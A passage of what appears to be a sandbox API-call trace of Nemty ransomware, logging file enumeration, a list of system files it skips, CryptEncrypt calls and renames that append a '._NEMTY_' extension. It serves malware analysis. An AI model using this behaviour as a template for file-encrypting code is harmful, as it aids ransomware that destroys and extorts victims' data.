lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0138.810] CloseHandle (hObject=0xffffffff) returned 0 [0138.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0138.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0138.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0138.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0138.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0138.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0138.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0138.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_bottom.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_bottom.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_bottom.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_bottom.png._nemty_kgobjgd_")) returned 0 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0138.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.811] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c17071, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c17071, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b73f89f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0138.811] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".") returned 1 [0138.811] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="..") returned 1 [0138.811] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="...") returned 1 [0138.811] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="windows") returned -1 [0138.811] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="$RECYCLE.BIN") returned 1 [0138.811] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="rsa") returned 1 [0138.811] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="NTDETECT.COM") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="ntldr") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="MSDOS.SYS") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="IO.SYS") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="boot.ini") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="boot.ini") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="ntuser.dat") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="desktop.ini") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="CONFIG.SYS") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="RECYCLER") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="BOOTSECT.BAK") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="bootmgr") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="programdata") returned 1 [0138.812] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="appdata") returned 1 [0138.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0138.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0138.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_left.png", lpUsedDefaultChar=0x0) returned 29 [0138.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0138.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0138.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_left.png", lpUsedDefaultChar=0x0) returned 29 [0138.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0138.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0138.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0138.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0138.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_left.png", lpUsedDefaultChar=0x0) returned 29 [0138.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0138.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0138.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0138.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0138.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_left.png", lpUsedDefaultChar=0x0) returned 29 [0138.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0138.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401c8 [0138.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0138.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0138.813] Sleep (dwMilliseconds=0x5) [0138.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6669230, dwHighDateTime=0x1d561e8)) [0138.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6669230, dwHighDateTime=0x1d561e8)) [0138.851] GetLastError () returned 0x5 [0138.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0138.851] GetLastError () returned 0x5 [0138.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0138.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0138.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0138.851] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0138.851] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0138.852] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0138.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a0 [0138.852] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a0, pcchString=0x653e91c | out: pszString="asT3dkIgDFBEqgyo0+wPjlee1RuI5VYN+Nt2BUpEzOJYjYmtWOywIJBq3QML+iC/\r\nnu+73WfNFPkOTlPPek4otBhUR3FlHzAhmBJhTLO1RIbXDt84nXfwhxRfvLRQeI4f\r\nlk0UB2/Pnq4kOqFsvPBIXwET4jgkUReheZt26zYQgFJ9mWbxQrx3v/V4/ysoFhl1\r\nrU9PXqCjAUqmJ9ZIW51xthR0S+D5U77ZEvvLhx0WfOZIXi1nnrkgFOEzGrfUw/An\r\nooSwdiwXgjscAKtIP7J0QEksFsOduKu/hmdGgMnb5KvqqXBez6J6LF5sxKxuj9yp\r\n+9cAUC0Sv3JsJFN0aYEskg==\r\n", pcchString=0x653e91c) returned 1 [0138.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0138.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0138.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0138.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0138.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a0 [0138.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0138.852] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0138.852] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0138.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0138.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.891] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0138.991] CloseHandle (hObject=0xffffffff) returned 0 [0138.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0138.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0138.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0138.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: 